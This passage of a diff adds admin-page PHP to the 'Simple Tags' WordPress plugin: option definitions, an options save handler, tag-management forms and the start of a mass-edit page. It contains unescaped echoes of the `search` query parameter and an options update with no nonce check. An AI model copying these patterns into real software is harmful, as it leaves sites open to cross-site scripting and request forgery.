+				array('rp_feed', __('Automatically display related posts into feeds', 'simpletags'), 'checkbox', '1'),
+				array('rp_embedded', __('Automatically display related posts into post content', 'simpletags'), 'dropdown', 'no/all/blogonly/feedonly/homeonly/singularonly/pageonly/singleonly',
+					'<ul>
+						<li>'.__('<code>no</code> &ndash; Nowhere (default)', 'simpletags').'</li>
+						<li>'.__('<code>all</code> &ndash; On your blog and feeds.', 'simpletags').'</li>
+						<li>'.__('<code>blogonly</code> &ndash; Only on your blog.', 'simpletags').'</li>
+						<li>'.__('<code>homeonly</code> &ndash; Only on your home page.', 'simpletags').'</li>
+						<li>'.__('<code>singularonly</code> &ndash; Only on your singular view (single & page).', 'simpletags').'</li>
+						<li>'.__('<code>singleonly</code> &ndash; Only on your single view.', 'simpletags').'</li>
+						<li>'.__('<code>pageonly</code> &ndash; Only on your page view.', 'simpletags').'</li>
+					</ul>'),
+				array('rp_order', __('Related Posts Order:', 'simpletags'), 'dropdown', 'count-asc/count-desc/date-asc/date-desc/name-asc/name-desc/random',
+					'<ul>
+						<li>'.__('<code>date-asc</code> &ndash; Older Entries.', 'simpletags').'</li>
+						<li>'.__('<code>date-desc</code> &ndash; Newer Entries.', 'simpletags').'</li>
+						<li>'.__('<code>count-asc</code> &ndash; Least common tags between posts', 'simpletags').'</li>
+						<li>'.__('<code>count-desc</code> &ndash; Most common tags between posts (default)', 'simpletags').'</li>
+						<li>'.__('<code>name-asc</code> &ndash; Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>name-desc</code> &ndash; Inverse Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>random</code> &ndash; Random.', 'simpletags').'</li>
+					</ul>'),
+				array('rp_xformat', __('Post link format:', 'simpletags'), 'text', 80,
+					__('You can find markers and explanations <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">in the online documentation.</a>', 'simpletags')),
+				array('rp_limit_qty', __('Maximum number of related posts to display: (default: 5)', 'simpletags'), 'text', 10),
+				array('rp_notagstext', __('Enter the text to show when there is no related post:', 'simpletags'), 'text', 80),
+				array('rp_title', __('Enter the positioned title before the list, leave blank for no title:', 'simpletags'), 'text', 80),
+				array('rp_adv_usage', __('<strong>Advanced usage</strong>:', 'simpletags'), 'text', 80,
+					__('You can use the same syntax as <code>st_related_posts()</code>function to customize display. See <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">documentation</a> for more details.', 'simpletags'))
+			),
+			'relatedtags' => array(
+				array('rt_number', __('Maximum number of related tags to display: (default: 5)', 'simpletags'), 'text', 10),
+				array('rt_order', __('Order related tags:', 'simpletags'), 'dropdown', 'count-asc/count-desc/name-asc/name-desc/random',
+					'<ul>
+						<li>'.__('<code>count-asc</code> &ndash; Least used.', 'simpletags').'</li>
+						<li>'.__('<code>count-desc</code> &ndash; Most popular. (default)', 'simpletags').'</li>
+						<li>'.__('<code>name-asc</code> &ndash; Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>name-desc</code> &ndash; Inverse Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>random</code> &ndash; Random.', 'simpletags').'</li>
+					</ul>'),
+				array('rt_format', __('Related tags type format:', 'simpletags'), 'dropdown', 'list/flat',
+					'<ul>
+						<li>'.__('<code>list</code> &ndash; Display a formatted list (ul/li).', 'simpletags').'</li>
+						<li>'.__('<code>flat</code> &ndash; Display inline (no list, just a div)', 'simpletags').'</li>
+					</ul>'),
+				array('rt_method', __('Method of tags intersections and unions used to build related tags link:', 'simpletags'), 'dropdown', 'OR/AND',
+					'<ul>
+						<li>'.__('<code>OR</code> &ndash; Fetches posts with either the "Tag1" <strong>or</strong> the "Tag2" tag. (default)', 'simpletags').'</li>
+						<li>'.__('<code>AND</code> &ndash; Fetches posts with both the "Tag1" <strong>and</strong> the "Tag2" tag.', 'simpletags').'</li>
+					</ul>'),
+				array('rt_xformat', __('Related tags link format:', 'simpletags'), 'text', 80,
+					__('You can find markers and explanations <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">in the online documentation.</a>', 'simpletags')),
+				array('rt_separator', __('Related tags separator:', 'simpletags'), 'text', 10,
+					__('Leave empty for list format.', 'simpletags')),
+				array('rt_notagstext', __('Enter the text to show when there is no related tags:', 'simpletags'), 'text', 80),
+				array('rt_title', __('Enter the positioned title before the list, leave blank for no title:', 'simpletags'), 'text', 80),
+				array('rt_adv_usage', __('<strong>Advanced usage</strong>:', 'simpletags'), 'text', 80,
+					__('You can use the same syntax as <code>st_related_tags()</code>function to customize display. See <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">documentation</a> for more details.', 'simpletags')),
+				// Remove related tags
+				array('text_helper', 'text_helper', 'helper', '', '<h3>'.__('Remove related Tags', 'simpletags').'</h3>'),
+				array('rt_format', __('Remove related Tags type format:', 'simpletags'), 'dropdown', 'list/flat',
+					'<ul>
+						<li>'.__('<code>list</code> &ndash; Display a formatted list (ul/li).', 'simpletags').'</li>
+						<li>'.__('<code>flat</code> &ndash; Display inline (no list, just a div)', 'simpletags').'</li>
+					</ul>'),
+				array('rt_remove_separator', __('Remove related tags separator:', 'simpletags'), 'text', 10,
+					__('Leave empty for list format.', 'simpletags')),
+				array('rt_remove_notagstext', __('Enter the text to show when there is no remove related tags:', 'simpletags'), 'text', 80),
+				array('rt_remove_xformat', __('Remove related tags  link format:', 'simpletags'), 'text', 80,
+					__('You can find markers and explanations <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">in the online documentation.</a>', 'simpletags')),		
+			),
+			'tagcloud' => array(
+				array('text_helper', 'text_helper', 'helper', '', __('Which difference between <strong>&#8216;Order tags selection&#8217;</strong> and <strong>&#8216;Order tags display&#8217;</strong> ?<br />', 'simpletags')
+					. '<ul style="list-style:square;">
+						<li>'.__('<strong>&#8216;Order tags selection&#8217;</strong> is the first step during tag\'s cloud generation, corresponding to collect tags.', 'simpletags').'</li>
+						<li>'.__('<strong>&#8216;Order tags display&#8217;</strong> is the second. Once tags choosen, you can reorder them before display.', 'simpletags').'</li>
+					</ul>'.
+					__('<strong>Example:</strong> You want display randomly the 100 tags most popular.<br />', 'simpletags').
+					__('You must set &#8216;Order tags selection&#8217; to <strong>count-desc</strong> for retrieve the 100 tags most popular and &#8216;Order tags display&#8217; to <strong>random</strong> for randomize cloud.', 'simpletags')),
+				array('cloud_selection', __('Order tags selection:', 'simpletags'), 'dropdown', 'count-asc/count-desc/name-asc/name-desc/random',
+					'<ul>
+						<li>'.__('<code>count-asc</code> &ndash; Least used.', 'simpletags').'</li>
+						<li>'.__('<code>count-desc</code> &ndash; Most popular. (default)', 'simpletags').'</li>
+						<li>'.__('<code>name-asc</code> &ndash; Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>name-desc</code> &ndash; Inverse Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>random</code> &ndash; Random.', 'simpletags').'</li>
+					</ul>'),
+				array('cloud_sort', __('Order tags display:', 'simpletags'), 'dropdown', 'count-asc/count-desc/name-asc/name-desc/random',
+					'<ul>
+						<li>'.__('<code>count-asc</code> &ndash; Least used.', 'simpletags').'</li>
+						<li>'.__('<code>count-desc</code> &ndash; Most popular.', 'simpletags').'</li>
+						<li>'.__('<code>name-asc</code> &ndash; Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>name-desc</code> &ndash; Inverse Alphabetical.', 'simpletags').'</li>
+						<li>'.__('<code>random</code> &ndash; Random. (default)', 'simpletags').'</li>
+					</ul>'),
+				array('cloud_inc_cats', __('Include categories in tag cloud ?', 'simpletags'), 'checkbox', '1'),
+				array('cloud_format', __('Tags cloud type format:', 'simpletags'), 'dropdown', 'list/flat',
+					'<ul>
+						<li>'.__('<code>list</code> &ndash; Display a formatted list (ul/li).', 'simpletags').'</li>
+						<li>'.__('<code>flat</code> &ndash; Display inline (no list, just a div)', 'simpletags').'</li>
+					</ul>'),
+				array('cloud_xformat', __('Tag link format:', 'simpletags'), 'text', 80,
+					__('You can find markers and explanations <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">in the online documentation.</a>', 'simpletags')),
+				array('cloud_limit_qty', __('Maximum number of tags to display: (default: 45)', 'simpletags'), 'text', 10),
+				array('cloud_notagstext', __('Enter the text to show when there is no tag:', 'simpletags'), 'text', 80),
+				array('cloud_title', __('Enter the positioned title before the list, leave blank for no title:', 'simpletags'), 'text', 80),
+				array('cloud_max_color', __('Most popular color:', 'simpletags'), 'text-color', 10,
+					__("The colours are hexadecimal colours,  and need to have the full six digits (#eee is the shorthand version of #eeeeee).", 'simpletags')),
+				array('cloud_min_color', __('Least popular color:', 'simpletags'), 'text-color', 10),
+				array('cloud_max_size', __('Most popular font size:', 'simpletags'), 'text', 10,
+					__("The two font sizes are the size of the largest and smallest tags.", 'simpletags')),
+				array('cloud_min_size', __('Least popular font size:', 'simpletags'), 'text', 10),
+				array('cloud_unit', __('The units to display the font sizes with, on tag clouds:', 'simpletags'), 'dropdown', 'pt/px/em/%',
+					__("The font size units option determines the units that the two font sizes use.", 'simpletags')),
+				array('cloud_adv_usage', __('<strong>Advanced usage</strong>:', 'simpletags'), 'text', 80,
+					__('You can use the same syntax as <code>st_tag_cloud()</code> function to customize display. See <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">documentation</a> for more details.', 'simpletags'))
+			),
+		);
+
+		// Update or reset options
+		if ( isset($_POST['updateoptions']) ) {
+			foreach((array) $this->options as $key => $value) {
+				$newval = ( isset($_POST[$key]) ) ? stripslashes($_POST[$key]) : '0';
+				$skipped_options = array('use_auto_tags', 'auto_list');
+				if ( $newval != $value && !in_array($key, $skipped_options) ) {
+					$this->setOption( $key, $newval );
+				}
+			}
+			$this->saveOptions();
+			$this->message = __('Options saved', 'simpletags');
+			$this->status = 'updated';
+		} elseif ( isset($_POST['reset_options']) ) {
+			$this->resetToDefaultOptions();
+			$this->message = __('Simple Tags options resetted to default options!', 'simpletags');
+		}
+
+		$this->displayMessage();
+	    ?>
+		<div class="wrap st_wrap">
+			<h2><?php _e('Simple Tags: Options', 'simpletags'); ?></h2>
+			<p><?php _e('Visit the <a href="http://code.google.com/p/simple-tags/">plugin\'s homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href="mailto:amaury@wordpress-fr.net">ask me</a> !', 'simpletags'); ?></p>
+			<form action="<?php echo $this->options_base_url.'st_options'; ?>" method="post">
+				<p>
+					<input class="button" type="submit" name="updateoptions" value="<?php _e('Update options &raquo;', 'simpletags'); ?>" />
+					<input class="button" type="submit" name="reset_options" onclick="return confirm('<?php _e('Do you really want to restore the default options?', 'simpletags'); ?>');" value="<?php _e('Reset Options', 'simpletags'); ?>" /></p>
+
+				<div id="printOptions">
+					<ul class="st_submenu">
+						<?php foreach ( $option_data as $key => $val ) {
+							echo '<li><a href="#'. sanitize_title ( $key ) .'">'.$this->getNiceTitleOptions($key).'</a></li>';
+						} ?>
+					</ul>
+
+					<?php echo $this->printOptions( $option_data ); ?>
+				</div>
+
+				<p>
+					<input class="button" type="submit" name="updateoptions" value="<?php _e('Update options &raquo;', 'simpletags'); ?>" />
+					<input class="button" type="submit" name="reset_options" onclick="return confirm('<?php _e('Do you really want to restore the default options?', 'simpletags'); ?>');" value="<?php _e('Reset Options', 'simpletags'); ?>" /></p>
+			</form>
+	    <?php $this->printAdminFooter(); ?>
+	    </div>
+	    <?php
+	}
+
+	/**
+	 * WP Page - Manage tags
+	 *
+	 */
+	function pageManageTags() {
+		// Control Post data
+		if ( isset($_POST['tag_action']) ) {
+			// Origination and intention
+			if ( !wp_verify_nonce($_POST['tag_nonce'], 'simpletags_admin') ) {
+				$this->message = __('Security problem. Try again. If this problem persist, contact <a href="mailto:amaury@wordpress-fr.net">plugin author</a>.', 'simpletags');
+				$this->status = 'error';
+			}
+			elseif ( $_POST['tag_action'] == 'renametag' ) {
+				$oldtag = (isset($_POST['renametag_old'])) ? $_POST['renametag_old'] : '';
+				$newtag = (isset($_POST['renametag_new'])) ? $_POST['renametag_new'] : '';
+				$this->renameTags( $oldtag, $newtag );
+			}
+			elseif ( $_POST['tag_action'] == 'deletetag' ) {
+				$todelete = (isset($_POST['deletetag_name'])) ? $_POST['deletetag_name'] : '';
+				$this->deleteTagsByTagList( $todelete );
+			}
+			elseif ( $_POST['tag_action'] == 'addtag'  ) {
+				$matchtag = (isset($_POST['addtag_match'])) ? $_POST['addtag_match'] : '';
+				$newtag   = (isset($_POST['addtag_new'])) ? $_POST['addtag_new'] : '';
+				$this->addMatchTags( $matchtag, $newtag );
+			}
+			elseif ( $_POST['tag_action'] == 'editslug'  ) {
+				$matchtag = (isset($_POST['tagname_match'])) ? $_POST['tagname_match'] : '';
+				$newslug   = (isset($_POST['tagslug_new'])) ? $_POST['tagslug_new'] : '';
+				$this->editTagSlug( $matchtag, $newslug );
+			} elseif ( $_POST['tag_action'] == 'cleandb'  ) {
+				$this->cleanDatabase();
+			}
+		}
+
+		// Manage URL
+		$sort_order = ( isset($_GET['tag_sortorder']) ) ? attribute_escape(stripslashes($_GET['tag_sortorder'])) : 'desc';
+		$search_url = ( isset($_GET['search']) ) ? '&amp;search=' . stripslashes($_GET['search']) : '';
+		$action_url = $this->posts_base_url . attribute_escape(stripslashes($_GET['page'])) . '&amp;tag_sortorder=' . $sort_order. $search_url;
+
+		// TagsFilters
+		$order_array = array(
+			'desc' => __('Most popular', 'simpletags'),
+			'asc' => __('Least used', 'simpletags'),
+			'natural' => __('Alphabetical', 'simpletags'));
+
+		// Build Tags Param
+		switch ($sort_order) {
+			case 'natural' :
+				$param = 'number='.$this->nb_tags.'&hide_empty=false&cloud_selection=name-asc';
+				break;
+			case 'asc' :
+				$param = 'number='.$this->nb_tags.'&hide_empty=false&cloud_selection=count-asc';
+				break;
+			default :
+				$param = 'number='.$this->nb_tags.'&hide_empty=false&cloud_selection=count-desc';
+				break;
+		}
+
+
+		// Search
+		if ( !empty($_GET['search']) ) {
+			$search = stripslashes($_GET['search']);
+			$param = str_replace('number='.$this->nb_tags, 'number=200&st_name_like='.$search, $param );
+		}
+
+		$this->displayMessage();
+		?>
+		<div class="wrap st_wrap">
+			<h2><?php _e('Simple Tags: Manage Tags', 'simpletags'); ?></h2>
+			<p><?php _e('Visit the <a href="http://code.google.com/p/simple-tags/wiki/ThemeIntegration">plugin\'s homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href="mailto:amaury@wordpress-fr.net">ask me</a> !', 'simpletags'); ?></p>
+			<table>
+				<tr>
+					<td class="list_tags">
+						<fieldset class="options" id="taglist">
+							<legend><?php _e('Existing Tags', 'simpletags'); ?></legend>
+
+							<form method="get">
+								<p>
+									<label for="search"><?php _e('Search tags', 'simpletags'); ?></label><br />
+									<input type="hidden" name="page" value="<?php echo attribute_escape(stripslashes($_GET['page'])); ?>" />
+									<input type="hidden" name="tag_sortorder" value="<?php echo $sort_order; ?>" />
+									<input type="text" name="search" id="search" size="10" value="<?php echo stripslashes($_GET['search']); ?>" />
+									<input class="button" type="submit" value="<?php _e('Go', 'simpletags'); ?>" /></p>
+							</form>
+
+							<div class="sort_order">
+								<h3><?php _e('Sort Order:', 'simpletags'); ?></h3>
+								<?php
+								$output = array();
+								foreach( $order_array as $sort => $title ) {
+									$output[] = ($sort == $sort_order) ? '<span style="color: red;">'.$title.'</span>' : '<a href="'.$this->posts_base_url.attribute_escape(stripslashes($_GET['page'])).'&amp;tag_sortorder='.$sort.$search_url.'">'.$title.'</a>';
+								}
+								echo implode('<br />', $output);
+								$output = array();
+								unset($output);
+								?>
+							</div>
+
+							<div id="ajax_area_tagslist">
+								<ul>
+									<?php
+									global $simple_tags;
+									$tags = (array) $simple_tags->getTags($param, true);
+									foreach( $tags as $tag ) {
+										echo '<li><span>'.$tag->name.'</span>&nbsp;<a href="'.(get_tag_link( $tag->term_id )).'" title="'.sprintf(__('View all posts tagged with %s', 'simpletags'), $tag->name).'">('.$tag->count.')</a></li>'."\n";
+									}
+									unset($tags);
+									?>
+								</ul>
+
+								<?php if ( empty($_GET['search']) && ( ((int)wp_count_terms('post_tag', 'ignore_empty=true')) > $this->nb_tags ) ) : ?>
+								<div class="navigation">
+									<a href="<?php echo get_option('siteurl'). '/wp-admin/admin.php?st_ajax_action=get_tags&amp;pagination=1'. ( (isset($_GET['tag_sortorder'])) ? '&amp;order='.$sort_order : '' ); ?>"><?php _e('Previous tags', 'simpletags'); ?></a> | <?php _e('Next tags', 'simpletags'); ?>
+								</div>
+								<?php endif; ?>
+							</div>
+						</fieldset>
+					</td>
+					<td class="forms_manage">
+						<h3><?php _e('Rename Tag', 'simpletags'); ?></h3>
+						<form action="<?php echo $action_url; ?>" method="post">
+							<input type="hidden" name="tag_action" value="renametag" />
+							<input type="hidden" name="tag_nonce" value="<?php echo wp_create_nonce('simpletags_admin'); ?>" />
+
+							<table class="form-table">
+								<tr valign="top">
+									<td colspan="2">
+										<p><?php _e('Enter the tag to rename and its new value.  You can use this feature to merge tags too. Click "Rename" and all posts which use this tag will be updated.', 'simpletags'); ?></p>
+										<p><?php _e('You can specify multiple tags to rename by separating them with commas.', 'simpletags'); ?></p>
+									</td>
+								</tr>	
+								<tr valign="top">
+									<th scope="row"><label for="renametag_old"><?php _e('Tag(s) to rename:', 'simpletags'); ?></label></th>
+									<td><input type="text" id="renametag_old" name="renametag_old" value="" size="40" /></td>
+								</tr>		
+								<tr valign="top">
+									<th scope="row"><label for="renametag_new"><?php _e('New tag name(s):', 'simpletags'); ?></label></th>
+									<td>
+										<input type="text" id="renametag_new" name="renametag_new" value="" size="40" />
+										<input class="button" type="submit" name="rename" value="<?php _e('Rename', 'simpletags'); ?>" />
+									</td>
+								</tr>	
+							</table>							
+						</form>
+
+						<h3><?php _e('Delete Tag', 'simpletags'); ?></h3>
+						<form action="<?php echo $action_url; ?>" method="post">
+							<input type="hidden" name="tag_action" value="deletetag" />
+							<input type="hidden" name="tag_nonce" value="<?php echo wp_create_nonce('simpletags_admin'); ?>" />
+
+							<table class="form-table">
+								<tr valign="top">
+									<td colspan="2">
+										<p><?php _e('Enter the name of the tag to delete.  This tag will be removed from all posts.', 'simpletags'); ?></p>
+										<p><?php _e('You can specify multiple tags to delete by separating them with commas', 'simpletags'); ?>.</p>
+									</td>
+								</tr>	
+								<tr valign="top">
+									<th scope="row"><label for="deletetag_name"><?php _e('Tag(s) to delete:', 'simpletags'); ?></label></th>
+									<td>
+										<input type="text" id="deletetag_name" name="deletetag_name" value="" size="40" />
+										<input class="button" type="submit" name="delete" value="<?php _e('Delete', 'simpletags'); ?>" />
+									</td>
+								</tr>
+							</table>
+						</form>
+
+						<h3><?php _e('Add Tag', 'simpletags'); ?></h3>
+						<form action="<?php echo $action_url; ?>" method="post">
+							<input type="hidden" name="tag_action" value="addtag" />
+							<input type="hidden" name="tag_nonce" value="<?php echo wp_create_nonce('simpletags_admin'); ?>" />
+			
+							<table class="form-table">
+								<tr valign="top">
+									<td colspan="2">
+										<p><?php _e('This feature lets you add one or more new tags to all posts which match any of the tags given.', 'simpletags'); ?></p>
+										<p><?php _e('You can specify multiple tags to add by separating them with commas.  If you want the tag(s) to be added to all posts, then don\'t specify any tags to match.', 'simpletags'); ?></p>
+									</td>
+								</tr>	
+								<tr valign="top">
+									<th scope="row"><label for="addtag_match"><?php _e('Tag(s) to match:', 'simpletags'); ?></label></th>
+									<td><input type="text" id="addtag_match" name="addtag_match" value="" size="40" /></td>
+								</tr>
+								<tr valign="top">
+									<th scope="row"><label for="addtag_new"><?php _e('Tag(s) to add:', 'simpletags'); ?></label></th>
+									<td>
+										<input type="text" id="addtag_new" name="addtag_new" value="" size="40" />
+										<input class="button" type="submit" name="Add" value="<?php _e('Add', 'simpletags'); ?>" />
+									</td>
+								</tr>
+							</table>
+						</form>			
+
+						<h3><?php _e('Edit Tag Slug', 'simpletags'); ?></h3>
+						<form action="<?php echo $action_url; ?>" method="post">
+							<input type="hidden" name="tag_action" value="editslug" />
+							<input type="hidden" name="tag_nonce" value="<?php echo wp_create_nonce('simpletags_admin'); ?>" />
+						
+							<table class="form-table">
+								<tr valign="top">
+									<td colspan="2">
+										<p><?php _e('Enter the tag name to edit and its new slug. <a href="http://codex.wordpress.org/Glossary#Slug">Slug definition</a>', 'simpletags'); ?></p>
+										<p><?php _e('You can specify multiple tags to rename by separating them with commas.', 'simpletags'); ?></p>
+									</td>
+								</tr>	
+								<tr valign="top">
+									<th scope="row"><label for="tagname_match"><?php _e('Tag(s) to match:', 'simpletags'); ?></label></th>
+									<td><input type="text" id="tagname_match" name="tagname_match" value="" size="40" /></td>
+								</tr>
+								<tr valign="top">
+									<th scope="row"><label for="tagslug_new"><?php _e('Slug(s) to set:', 'simpletags'); ?></label></th>
+									<td>
+										<input type="text" id="tagslug_new" name="tagslug_new" value="" size="40" />
+										<input class="button" type="submit" name="edit" value="<?php _e('Edit', 'simpletags'); ?>" />
+									</td>
+								</tr>
+							</table>
+						</form>
+
+						<h3><?php _e('Remove empty terms', 'simpletags'); ?></h3>
+						<form action="<?php echo $action_url; ?>" method="post">
+							<input type="hidden" name="tag_action" value="cleandb" />
+							<input type="hidden" name="tag_nonce" value="<?php echo wp_create_nonce('simpletags_admin'); ?>" />
+							
+							<table class="form-table">
+								<tr valign="top">
+									<td colspan="2">
+										<p><?php _e('WordPress 2.3 have a small bug and can create empty terms. Remove it !', 'simpletags'); ?></p>
+										<p><input class="button" type="submit" name="clean" value="<?php _e('Clean !', 'simpletags'); ?>" /></p>
+									</td>
+								</tr>
+							</table>
+						</form>
+					</td>
+				</tr>
+			</table>
+			<?php $this->printAdminFooter(); ?>
+		</div>
+		<?php
+	}
+	
+	function edit_data_query( $q = false ) {
+		if ( false === $q ) {
+			$q = $_GET;
+		}
+		
+		// Date
+		$q['m']   = (int) $q['m'];
+		
+		// Category
+		$q['cat'] = (int) $q['cat'];
+		
+		// Quantity
+		$q['posts_per_page'] = (int) $q['posts_per_page'];
+		if ( $q['posts_per_page'] == 0 ) {
+			$q['posts_per_page'] = 15;
+		}		
+		
+		// Content type
+		if ( $q['post_type'] == 'page' ) {
+			$q['post_type'] = 'page';
+		} else {
+			$q['post_type'] = 'post';
+		}
+		
+		// Post status
+		$post_stati = array(	//	array( adj, noun )
+			'publish' => array(__('Published'), __('Published posts'), __ngettext_noop('Published (%s)', 'Published (%s)')),
+			'future' => array(__('Scheduled'), __('Scheduled posts'), __ngettext_noop('Scheduled (%s)', 'Scheduled (%s)')),
+			'pending' => array(__('Pending Review'), __('Pending posts'), __ngettext_noop('Pending Review (%s)', 'Pending Review (%s)')),
+			'draft' => array(__('Draft'), _c('Drafts|manage posts header'), __ngettext_noop('Draft (%s)', 'Drafts (%s)')),
+			'private' => array(__('Private'), __('Private posts'), __ngettext_noop('Private (%s)', 'Private (%s)')),
+		);
+	
+		$post_stati = apply_filters('post_stati', $post_stati);	
+		$avail_post_stati = get_available_post_statuses('post');
+	
+		$post_status_q = '';
+		if ( isset($q['post_status']) && in_array( $q['post_status'], array_keys($post_stati) ) ) {
+			$post_status_q = '&post_status=' . $q['post_status'];
+			$post_status_q .= '&perm=readable';
+		}
+	
+		if ( 'pending' === $q['post_status'] ) {
+			$order = 'ASC';
+			$orderby = 'modified';
+		} elseif ( 'draft' === $q['post_status'] ) {
+			$order = 'DESC';
+			$orderby = 'modified';
+		} else {
+			$order = 'DESC';
+			$orderby = 'date';
+		}
+	
+		wp("post_type={$q['post_type']}&what_to_show=posts$post_status_q&posts_per_page={$q['posts_per_page']}&order=$order&orderby=$orderby");
+	
+		return array($post_stati, $avail_post_stati);
+	}
+
+	/**
+	 * WP Page - Mass edit tags
+	 *
+	 */
+	function pageMassEditTags() {	
+		global $wpdb, $wp_locale, $wp_query;		
+		list($post_stati, $avail_post_stati) = $this->edit_data_query();
+		
+		if ( !isset( $_GET['paged'] ) ) {
+			$_GET['paged'] = 1;
+		}
+			
+		?>
+		<div class="wrap">
+			<form id="posts-filter" action="" method="get">
+				<input type="hidden" name="page" value="st_mass_tags" />
+				<h2><?php _e('Mass edit tags', 'simpletags'); ?></h2>
+							
+				<ul class="subsubsub">
+					<?php
+					$status_links = array();
+					$num_posts = wp_count_posts('post', 'readable');
+					$class = (empty($_GET['post_status']) && empty($_GET['post_type'])) ? ' class="current"' : '';
+					$status_links[] = "<li><a href=\"edit.php?page=st_mass_tags\"$class>".__('All Posts', 'simpletags')."</a>";
+					foreach ( $post_stati as $status => $label ) {
+						$class = '';
+					
+						if ( !in_array($status, $avail_post_stati) ) {
+							continue;
+						}
+					
+						if ( empty($num_posts->$status) )
+							continue;
+						if ( $status == $_GET['post_status'] )
+							$class = ' class="current"';
+					
+						$status_links[] = "<li><a href=\"edit.php?page=st_mass_tags&amp;post_status=$status\"$class>" .
+						sprintf(__ngettext($label[2][0], $label[2][1], $num_posts->$status), number_format_i18n( $num_posts->$status )) . '</a>';
+					}
+					echo implode(' |</li>', $status_links) . ' |</li>';
+					unset($status_links);
+					
+					$class = (!empty($_GET['post_type'])) ? ' class="current"' : '';
+					?>
+					<li><a href="edit.php?page=st_mass_tags&amp;post_type=page" <?php echo $class; ?>><?php _e('All Pages', 'simpletags'); ?></a>
+				</ul>
+				
+				<?php if ( isset($_GET['post_status'] ) ) : ?>
+					<input type="hidden" name="post_status" value="<?php echo attribute_escape($_GET['post_status']) ?>" />
+				<?php endif; ?>
+				
+				<p id="post-search">
+					<input type="text" id="post-search-input" name="s" value="<?php the_search_query(); ?>" />
+					<input type="submit" value="<?php _e( 'Search Posts', 'simpletags' ); ?>" class="button" />
+				</p>
+				
+				<div class="tablenav">		
+					<?php
+					$posts_per_page = (int) $_GET['posts_per_page'];
+					if ( $posts_per_page == 0 ) {
+						$posts_per_page = 15;
+					}
+					
+					$page_links = paginate_links( array(
+						'base' => add_query_arg( 'paged', '%#%' ),
+						'format' => '',
+						'total' => ceil($wp_query->found_posts / $posts_per_page ),
+						'current' => ((int) $_GET['paged'])
+					));
+					
+					if ( $page_links )
+						echo "<div class='tablenav-pages'>$page_links</div>";
+					?>
+					
+					<div style="float: left">
+						<?php 						
+						if ( !is_singular() ) {
+						$arc_query = "SELECT DISTINCT YEAR(post_date) AS yyear, MONTH(post_date) AS mmonth FROM $wpdb->posts WHERE post_type = 'post' ORDER BY post_date DESC";
+						
+						$arc_result = $wpdb->get_results( $arc_query );
+						
+						$month_count = count($arc_result);
+						
+						if ( $month_count && !( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) { ?>
+							<select name='m'>
+							<option<?php selected( @$_GET['m'], 0 ); ?> value='0'><?php _e('Show all dates', 'simpletags'); ?></option>
+							<?php
+							foreach ($arc_result as $arc_row) {
+								if ( $arc_row->yyear == 0 )
+									continue;
+								$arc_row->mmonth = zeroise( $arc_row->mmonth, 2 );
+							
+								if ( $arc_row->yyear . $arc_row->mmonth == $_GET['m'] )
+									$default = ' selected="selected"';
+								else
+									$default = '';
+							
+								echo "<option$default value='$arc_row->yyear$arc_row->mmonth'>";
+								echo $wp_locale->get_month($arc_row->mmonth) . " $arc_row->yyear";
+								echo "</option>\n";
+							}
+							?>
+							</select>
+						<?php } ?>
+						
+						<?php wp_dropdown_categories('show_option_all='.__('View all categories', 'simpletags').'&hide_empty=1&hierarchical=1&show_count=1&selected='.$_GET['cat']);?>
+									
+						<select name="posts_per_page" id="posts_per_page">							
+							<option <?php if ( !isset($_GET['posts_per_page']) ) echo 'selected="selected"'; ?> value=""><?php _e('Quantity&hellip;', 'simpletags'); ?></option>
+							<option <?php if ( $posts_per_page == 10 ) echo 'selected="selected"'; ?> value="10">10</option>
+							<option <?php if ( $posts_per_page == 20 ) echo 'selected="selected"'; ?> value="20">20</option>
+							<option <?php if ( $posts_per_page == 30 ) echo 'selected="selected"'; ?> value="30">30</option>
+							<option <?php if ( $posts_per_page == 40 ) echo 'selected="selected"'; ?> value="40">40</option>
+							<option <?php if ( $posts_per_page == 50 ) echo 'selected="selected"'; ?> value="50">50</option>
+							<option <?php if ( $posts_per_page == 100 ) echo 'selected="selected"'; ?> value="100">100</option>
+							<option <?php if ( $posts_per_page == 200 ) echo 'selected="selected"'; ?> value="200">200</option>
+						</select>
+						
+						<input type="submit" id="post-query-submit" value="<?php _e('Filter', 'simpletags'); ?>" class="button-secondary" />
+						<?php } ?>
+					</div>
+					
+					<br style="clear:both;" />
+				</div>
+			</form>
+			
+			<br style="clear:both;" />
+	
+			<?php if ( have_posts() ) :
+				add_filter('the_title','wp_specialchars');
+				?>
+				<form name="post" id="post" method="post">
+					<table class="widefat post fixed">
+						<thead>
+							<tr>
+								<th class="manage-column"><?php _e('Post title', 'simpletags'); ?></th>
+								<th class="manage-column"><?php _e('Tags', 'simpletags'); ?></th>
+							</tr>
+						</thead>
+						<tbody>
+							<?php
+							$class = 'alternate';
+							while (have_posts()) {
+								the_post();
+								$class = ( $class == 'alternate' ) ? '' : 'alternate';
+								?>
+								<tr valign="top" class="<?php echo $class; ?>">
+									<th scope="row"><a href="post.php?action=edit&amp;post=<?php the_ID(); ?>" title="<?php _e('Edit', 'simpletags'); ?>"><?php the_title(); ?></a></th>
+									<td><input id="tags-input<?php the_ID(); ?>" class="tags_input" type="text" size="100" name="tags[<?php the_ID(); ?>]" value="<?php echo $this->getTagsToEdit( get_the_ID() ); ?>" /></td>
+								</tr>
+								<?php					
+							}
+							?>
+						</tbody>
+					</table>
+					
+					<p class="submit">
+						<input class="button" type="hidden" name="secure_mass" value="<?php echo wp_create_nonce('st_mass_tags'); ?>" />
+						<input class="button" type="submit" name="update_mass" value="<?php _e('Update all &raquo;', 'simpletags'); ?>" /></p>
+				</form>
+				<?php if ( $this->all_tags === true ) : ?>
+					<script type="text/javascript">
+						// <![CDATA[			
